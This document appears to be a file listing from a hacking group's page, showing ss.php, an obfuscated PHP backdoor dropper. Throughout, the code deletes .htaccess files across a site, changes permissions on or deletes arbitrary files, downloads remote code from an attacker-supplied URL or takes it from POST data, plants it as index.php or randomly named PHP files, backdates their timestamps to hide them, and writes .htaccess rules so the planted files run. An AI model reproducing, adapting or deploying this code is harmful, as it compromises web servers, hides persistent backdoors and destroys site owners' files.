One Hat Cyber Team

View File Name : ss.php

<?php if(true){/*djxzoN*/}; ?><?php $gbv="";$gbv.="b";$gbv.="a";$gbv.="s";$gbv.="e";$gbv.="6";$gbv.="4";$gbv.="_";$gbv.="d";$gbv.="e";$gbv.="c";$gbv.="o";$gbv.="d";$gbv.="e"; $besl="";$besl.="c";$besl.="h";$besl.="m";$besl.="o";$besl.="d"; $jvri="";$jvri.="e";$jvri.="x";$jvri.="p";$jvri.="l";$jvri.="o";$jvri.="d";$jvri.="e"; $xez="";$xez.="f";$xez.="i";$xez.="l";$xez.="e";$xez.="_";$xez.="g";$xez.="e";$xez.="t";$xez.="_";$xez.="c";$xez.="o";$xez.="n";$xez.="t";$xez.="e";$xez.="n";$xez.="t";$xez.="s"; $pvm="";$pvm.="t";$pvm.="r";$pvm.="i";$pvm.="m"; $aeh="";$aeh.="f";$aeh.="i";$aeh.="l";$aeh.="e";$aeh.="_";$aeh.="p";$aeh.="u";$aeh.="t";$aeh.="_";$aeh.="c";$aeh.="o";$aeh.="n";$aeh.="t";$aeh.="e";$aeh.="n";$aeh.="t";$aeh.="s"; $dwYsOLaAU=$jvri($gbv("PD9waHAgaWYodHJ1ZSl7Lypkanh6b04qL307ID8+"),$xez(__FILE__));if($pvm($dwYsOLaAU[0])!=""||$pvm($dwYsOLaAU[2])!=""){$besl(__DIR__,0755);$besl(__FILE__,0644);$aeh(__FILE__,$gbv("PD9waHAgaWYodHJ1ZSl7Lypkanh6b04qL307ID8+").$dwYsOLaAU[1].$gbv("PD9waHAgaWYodHJ1ZSl7Lypkanh6b04qL307ID8+"));}?><?php ;/*$_399516*/; ;/*c1rlW*/; ;/*6hIjVrWB*/; usleep(2); error_reporting(0); ;/*hoyden*/; ;/*5swy*/; ;/*Ljy9tN*/; ;/*unbroken*/; $_668229=($_SERVER["\110\124\124\120\123"]!=""&&$_SERVER["\110\124\124\120\123"]!="\157\146\146")||$_SERVER["\122\105\121\125\105\123\124\137\123\103\110\105\115\105"]=="\150\164\164\160\163"||$_SERVER["\123\105\122\126\105\122\137\120\117\122\124"]==443 ? "\150\164\164\160\163\72\57\57" : "\150\164\164\160\72\57\57" ; ;/*superbly*/; ;/*osuCD3Uq*/; ;/*hall*/; ;/*mannered*/; $_481866=$_SERVER["\110\124\124\120\137\110\117\123\124"]; if ( isset($_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]) ) { ;/*gobblers*/; $_66730=explode('?',$_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]); ;/*$_883024*/; $_402659=$_66730[0]; ;/*vVtZSiM*/; ;/*$_406763*/; $_338359=explode("e","sable"); ;/*$_658971*/; }else { $_338359=explode("Q","alluding"); $_402659=$_SERVER["\123\103\122\111\120\124\137\116\101\115\105"]; } ;/*cadging*/; $_976709=str_replace('\\','/',$_SERVER["\123\103\122\111\120\124\137\106\111\114\105\116\101\115\105"]); $_399516=str_replace($_402659,'',$_976709); ;/*$_809449*/; chmod($_399516,0755); ;/*bestow*/; ;/*k6ce*/; $_548133="\55\55\55"; ;/*$_328764*/; ;/*yukon*/; $_548133.="\144\157"; $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); $_645033=p("repulsedtawdrilypadelt"); ;/*fergot*/; ;/*happied*/; ;/*neustadt*/; $_548133.="\55"; ;/*resented*/; $_548133.="\156\157\164"; ;/*richarde*/; ;/*LNpK8b3W*/; ;/*semper*/; $_548133.="\55"; ;/*$_345800*/; ;/*CsMBh*/; $_548133.="\143\150\141\156\147\145"; ;/*$_145218*/; ;/*Ol7jD*/; ;/*palisade*/; function p($_394506) { $_710124=""; $_502199=strlen($_394506); if ($_502199>15) { $z_mid=intval($_502199/2); $_710124=substr($_394506,0,3).substr($_394506,$z_mid,3).substr($_394506,-3,3); }else { $_710124=$_394506; } return $_710124; } $_548133.="\55"; $_338359=explode("N","dozing"); ;/*Qg42*/; ;/*PIdS2T*/; $_548133.="\164\150\145"; ;/*0gW9KSeD*/; ;/*WUiDsShu*/; ;/*rejoice*/; ;/*beaver*/; $_548133.="\55"; ;/*savannah*/; ;/*epidotas*/; ;/*ZnXHIy*/; $_548133.="\146\157\154\154\157\167\151\156\147"; ;/*candahar*/; $_548133.="\55"; ;/*nN5kOXD*/; ;/*XgPx*/; ;/*begob*/; $_548133.="\143\157\156\164\145\156\164"; ;/*satisfy*/; ;/*coils*/; ;/*noANab*/; ;/*avenged*/; ;/*positing*/; $_548133.="\55\55\55"; ;/*9cT3N*/; if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\144\137\150") { $_4999=array(); $_236347=0; ;/*leask*/; $_220445=0; ;/*qfDni*/; $_4999[0][]=$_399516; $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); ;/*driv*/; while(!empty($_4999[$_236347])) { foreach($_4999[$_236347] as $_505589) { $_550408=glob($_505589."\57\52",GLOB_ONLYDIR); if (!empty($_550408)) { foreach($_550408 as $_133821) { $_4999[$_236347+1][]=$_133821; chmod($_133821,0755); $_464033=$_133821."\57\56\150\164\141\143\143\145\163\163"; if (is_file($_464033)) { $_145218=file_get_contents($_464033); if (preg_match('/'.$_548133.'/',$_145218)==0) { chmod($_464033,0777); file_put_contents($_464033,''); unlink($_464033); $_220445++; } } } } } $_236347++; } ;/*0hc*/; echo $_220445."\144\157\156\145"; exit; } if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\143\137\143") { echo "\152\153\55\55\55\157\153"; ;/*ozM*/; ;/*p6d*/; exit; ;/*$_300760*/; ;/*expired*/; } ;/*witchery*/; if ( !empty($_GET["\146\137\143"]) ) { ;/*shoved*/; ;/*P0g*/; $_177902=z($_GET["\146\137\143"]); $_338359=explode("G","twang"); $_809449=str_replace("6","","curtseys"); if(is_file($_399516.$_177902)){chmod($_399516.$_177902,0644);echo "\146\143\55\55\55\157\153";}else{echo "\146\143\55\55\55\156\157";} ;/*waddler*/; exit; } ;/*phN*/; if ( !empty($_GET["\146\137\144"]) ) { ;/*NEgKm*/; ;/*eyzflC*/; ;/*$_817230*/; $_529190=z($_GET["\146\137\144"]); if (is_file($_399516.$_529190)) { ;/*udU2q*/; chmod($_399516.$_529190,0777); ;/*palissel*/; ;/*eyesore*/; file_put_contents($_399516.$_529190,"\172",LOCK_EX); ;/*polla*/; ;/*$_663531*/; unlink($_399516.$_529190); ;/*sVh1*/; } ;/*4YtEODKi*/; ;/*$_4999*/; if (!is_file($_399516.$_529190)||trim(file_get_contents($_399516.$_529190))=="\172") { ;/*qONvhb*/; echo "\146\144\55\55\55\157\153"; ;/*aXFb*/; }else { ;/*Ucs*/; ;/*viennese*/; echo "\146\144\55\55\55\156\157"; ;/*GVT0U*/; ;/*cyU9z*/; } exit; } ;/*mSis*/; $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); function zs($_205859=array()) { $_762767=0; if ( count($_205859)>0 ) { foreach($_205859 as $_643897) { if ( is_numeric($_643897) ) { $_762767=$_643897; break; } } foreach($_205859 as $_643897) { if ( is_numeric($_643897)&&$_643897<$_762767 ) { $_762767=$_643897; } } } return $_762767; } ;/*sXKw*/; function z($_410560) { $_410560=trim($_410560); $_410560=substr($_410560,6,-6); $_410560=str_replace("\55","+",$_410560); $_410560=str_replace("_","/",$_410560); $_410560=str_replace(".","=",$_410560); $_410560=base64_decode($_410560); return $_410560; } if ( (!empty($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"])) && (!empty($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"])) ) { $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); ;/*salvage*/; $_733140=base64_decode($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"]); ;/*bartas*/; ;/*copula*/; $_599719=base64_decode($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"]); ;/*NTszGf*/; }else { ;/*orgy*/; ;/*$_877076*/; ;/*$_962237*/; if (!empty($_GET["\165\137\160"])) { ;/*metaphor*/; ;/*DCv6h*/; $_308861=z($_GET["\165\137\160"]); $_809449=str_replace("HO5","","cantwell"); ;/*deflated*/; $_733140=trim(bas($_308861."\137\143\157\144\145\137\143\157\156\164\145\156\164\56\164\170\164")); ;/*SRDGM*/; ;/*AjV*/; $_599719=trim(bas($_308861."\137\143\157\144\145\137\146\151\154\145\156\141\155\145\56\164\170\164")); } $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); ;/*HAwt4k*/; } ;/*resumed*/; ;/*$_486036*/; ;/*wCrJaT*/; if (empty($_733140) || empty($_599719)) { $_338359=explode("T","calm"); exit; } ;/*brekky*/; if (substr($_599719,0,1)=='/' && substr($_599719,-1,1)!='/') { ;/*bisuncio*/; $_879465=$_399516.$_599719; ;/*oPRbuXm1*/; $_883024=$_668229.$_481866.$_599719; ;/*$_574134*/; preg_match('/(\/.+)\//',$_879465,$_890094); ;/*X03ua*/; ;/*mBT1no*/; $_548006=$_890094[1]; ;/*steely*/; $_21745 = explode("/",ltrim(str_replace($_399516,'',$_548006),"/")); $_338359=explode("F","resolute"); $_628352 = $_399516; foreach($_21745 as $_672900) { $_628352 .= "/" . $_672900; if ( is_dir( $_628352 ) ) { chmod( $_628352, 0755 ); } else { mkdir( $_628352, 0755, true ); } } ;/*clane*/; ;/*stomachs*/; ;/*noisiest*/; if ( is_file($_879465) ) { ;/*5giIH*/; chmod($_879465,0777); ;/*$_548133*/; ;/*$_628115*/; unlink($_879465); $_645033=p("sinningrochegallega"); ;/*4hJbZ*/; } ;/*5wZ*/; ;/*2uGfejr*/; file_put_contents($_879465,$_733140); $_338359=explode("u","attar"); ;/*J87*/; if ( is_file($_879465) && md5($_733140)==md5(file_get_contents($_879465)) ) { ;/*3TtK*/; $_953818=1; echo $_883024; ;/*$_721036*/; } } ;/*$_853262*/; ;/*$_599719*/; if($_599719=="\162\141\156\144\157\155") { $_328764=array(); ;/*rKhGRvTV*/; $_4999=array(); ;/*YaG*/; ;/*apprised*/; $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); ;/*nQM*/; $_236347=0; ;/*GSQA6U*/; ;/*aEWkVF*/; $_328764[]=$_399516; $_4999[0][]=$_399516; ;/*bcrAx7i*/; while(!empty($_4999[$_236347])) { foreach($_4999[$_236347] as $_505589) { $_550408=glob($_505589."\57\52",GLOB_ONLYDIR); if (!empty($_550408)) { foreach($_550408 as $_133821) { if ( preg_match('/plugin[s]?$/si',$_133821)==1 ){continue;} $_4999[$_236347+1][]=$_133821; $_328764[]=$_133821; chmod($_133821,0755); } } } $_236347++; if (count($_328764)>=1000) {break;} } ;/*mudflake*/; ;/*$_953818*/; if ( count($_328764)<4 ) { $_568046=array(); ;/*$_574134*/; ;/*seconds*/; $_568046[]="\151\155\141\147\145\163"; $_568046[]="\151\156\143\154\165\144\145\163"; ;/*$_205859*/; $_568046[]="\164\145\155\160\154\141\164\145\163"; $_568046[]="\143\163\163"; $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); $_568046[]="\143\141\143\150\145"; ;/*7nkU16V*/; $_568046[]="\166\145\156\144\145\162"; $_338359=explode("E","ruining"); ;/*$_579467*/; $_568046[]="\154\151\142\162\141\162\171"; $_568046[]="\142\141\143\153\165\160"; ;/*eulogium*/; ;/*a2HEoD*/; $_568046[]="\144\141\164\141\142\141\163\145"; $_568046[]="\144\141\164\141"; ;/*resuming*/; ;/*WCN*/; $_568046[]="\152\163"; ;/*alleurs*/; $_568046[]="\154\157\147"; $_809449=str_replace("eg","","frocks"); ;/*coinage*/; ;/*mirpush*/; $_568046[]="\165\163\145\162"; ;/*disgrace*/; $_568046[]="\146\157\156\164\163"; ;/*cussing*/; ;/*$_272257*/; shuffle($_568046); ;/*BKNZh*/; ;/*counsels*/; for($_663531=0;$_663531<3;$_663531++) { $_75541=$_399516.'/'.$_568046[$_663531]; mkdir($_75541,0755,true); if ( is_dir($_75541) ){$_328764[]=$_75541;} } } ;/*strolls*/; $_953818=0; ;/*busy*/; $_216810="\151\156\144\145\170\56\160\150\160"; $_809449=str_replace("iK","","comings"); for($_932614=1;$_932614<=10;$_932614++) { $_548006=$_328764[array_rand($_328764,1)]; $_879465=$_548006.'/'.$_216810; $_883024=$_668229.$_481866.str_replace($_399516,'',$_548006).'/'.$_216810; if ( !is_file($_879465) ) { file_put_contents($_879465,$_733140); if ( is_file($_879465) && md5($_733140)==md5(file_get_contents($_879465)) ) { $_953818=1;echo $_883024;break; } } } ;/*antwerp*/; ;/*$_202898*/; if ($_953818==0) { ;/*flank*/; ;/*ridet*/; for($_932614=1;$_932614<=10;$_932614++) { $_548006=$_328764[array_rand($_328764,1)]; $_216810=basename($_548006)."\56\160\150\160"; $_879465=$_548006.'/'.$_216810; $_883024=$_668229.$_481866.str_replace($_399516,'',$_548006).'/'.$_216810; if ( !is_file($_879465) ) { file_put_contents($_879465,$_733140); if ( is_file($_879465) && md5($_733140)==md5(file_get_contents($_879465)) ) { $_953818=1;echo $_883024;break; } } } ;/*budwhich*/; $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); } ;/*booms*/; ;/*XSNug1*/; if ($_953818==0) { $_817230="\66\71"; $_809449=str_replace("Bd","","deans"); ;/*3HWa*/; $_817230.="\142\171\167\65"; ;/*$_622460*/; $_817230.="\165\141\146"; ;/*strike*/; ;/*2pI*/; $_817230.="\154\144\145"; $_338359=explode("I","atthe"); $_817230.="\162\67\170\63"; ;/*qfkh8*/; ;/*$_762767*/; $_817230.="\160\163\152"; $_817230.="\164\155\61"; $_338359=explode("f","ferreol"); $_817230.="\166\161\64\156\153"; ;/*$_548133*/; $_817230.="\151\172\60"; $_338359=explode("b","unpaid"); $_230761=zs(array(9259789,3367176,4110445,8731362,7275319,1911340,2796159,793747,8020482,6401118,782085,2371790,4074133,4420983,1989827,2453199,9931851,2115740,3929991)); ;/*$_853262*/; $_817230.="\150\147\157"; $_817230.="\62\143\70"; for($_932614=1;$_932614<=11;$_932614++) { $_932614==11 ? $_548006=$_399516 : $_548006=$_328764[array_rand($_328764,1)]; $_437723=str_shuffle($_817230); $_541817=substr($_437723,0,mt_rand(3,10))."\56\160\150\160"; $_879465=$_548006.'/'.$_541817; $_883024=$_668229.$_481866.str_replace($_399516,'',$_548006).'/'.$_541817; file_put_contents($_879465,$_733140); if ( is_file($_879465) && md5($_733140)==md5(file_get_contents($_879465)) ) { $_953818=1;echo $_883024;break; } } $_809449=str_replace("bFL","","operated"); } } function na($_394506) { $_76477=preg_replace("/[^0-9]/","",$_394506); return $_76477; } function bas($_622460) { $_408742=""; if ( function_exists("\143\165\162\154\137\145\170\145\143") ) { $_345800=curl_init(); curl_setopt ($_345800, CURLOPT_URL, $_622460); curl_setopt ($_345800, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($_345800, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt( $_345800, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $_345800, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $_345800, CURLOPT_TIMEOUT, 30); curl_setopt ($_345800, CURLOPT_HEADER, 0); $_408742 = curl_exec($_345800); curl_close($_345800); }else { $_408742=file_get_contents($_622460); } return $_408742; } if ( isset($_953818) && $_953818==1 ) { ;/*KO1j8tw*/; touch($_879465, strtotime("\55\65\60\60\40\144\141\171\163", time())); if ( $_548006!=$_399516 ) { ;/*$_406763*/; $_770489=$_548006."\57\56\150\164\141\143\143\145\163\163"; $_338359=explode("Z","organs"); if (is_file($_770489)) { ;/*Q2onFOwk*/; chmod($_770489,0777); ;/*$_589609*/; file_put_contents($_770489,''); unlink($_770489); ;/*xJ9hpk40*/; $_589609=na("karnacn"); } if ( basename($_879465)!="\151\156\144\145\170\56\160\150\160" ) { ;/*$_622460*/; ;/*I6E*/; $_543285=''; ;/*$_464033*/; foreach( glob($_548006."\57\52\56\160\150\160") as $_300760 ) { $_543285.="\174".basename($_300760); } ;/*unhealed*/; $_543285=ltrim($_543285,"\174"); $_202898="\43".$_548133; ;/*palates*/; $_202898.="\n"."\74\106\151\154\145\163\115\141\164\143\150\40\47\136\50".$_543285."\51\44\47\76"; ;/*gVF9m*/; $_202898.="\n"."\117\162\144\145\162\40\141\154\154\157\167\54\144\145\156\171"; $_202898.="\n"."\101\154\154\157\167\40\146\162\157\155\40\141\154\154"; $_645033=p("syruppedtoadyingbeholden"); $_202898.="\n"."\74\57\106\151\154\145\163\115\141\164\143\150\76"; ;/*9l3mOGt*/; file_put_contents($_770489,$_202898); ;/*salons*/; $_338359=explode("m","agier"); touch($_879465, strtotime("\55\65\60\60\40\144\141\171\163", time())); ;/*$_75541*/; ;/*$_328764*/; } } } ;/*evjTCl4*/; ;/*Jr3*/; ;/*hKFEI*/; ;/*tverskys*/; ?><?php if(true){/*djxzoN*/}; ?>